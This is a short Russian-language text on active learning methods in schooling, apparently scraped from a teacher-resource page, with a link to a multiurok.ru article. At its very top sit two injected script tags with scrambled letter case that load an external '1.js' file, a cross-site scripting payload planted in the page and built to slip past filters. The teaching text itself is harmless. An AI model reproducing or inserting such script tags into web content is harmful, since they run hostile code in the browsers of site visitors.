<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Обновление содержания образования показывает, что стратегическим направлением активизации

обучения является не увеличение объёма передаваемой информации, не усиление и увеличение числа

контрольных мероприятий, а создание дидактических и психологических условий

осмысленного учения, включения в него учащегося на уровне не только

интеллектуальной, но личностной и социальной активности. Теоретический анализ

этой проблемы, передовой педагогический опыт убеждают, что наиболее

конструктивным решением является создание таких психолого-педагогических

условий в обучении, в которых обучаемый может занять активную личностную

позицию. 

Активные методы обучения (АМО) –

это методы, которые побуждают учеников к активной мыслительной и практической

деятельности в процессе овладения учебным материалом.  Активное обучение предполагает

использование такой системы методов, которая направлена главным образом не на изложение

преподавателем готовых знаний, их запоминание и воспроизведение, а на

самостоятельное овладение учащимися знаниями и умениями в процессе активной

мыслительной и практической деятельности.

         На сегодняшний день существует несколько действенных методов активного обучения,

которые широко применяются на уроках. Предлагаем ознакомиться с некоторыми из

них:https://multiurok.ru/files/aktivnyie-mietody-obuchieniia-i-priepodavaniia-pos.html

         Успешное применение предложенных методов позволит существенно повысить мотивацию

учеников. Ведь именно осознание ответственности учащегося за усвоение им

материала позволит ему активнее включаться в учебный процесс, и как следствие,

улучшать качество знаний по предмету.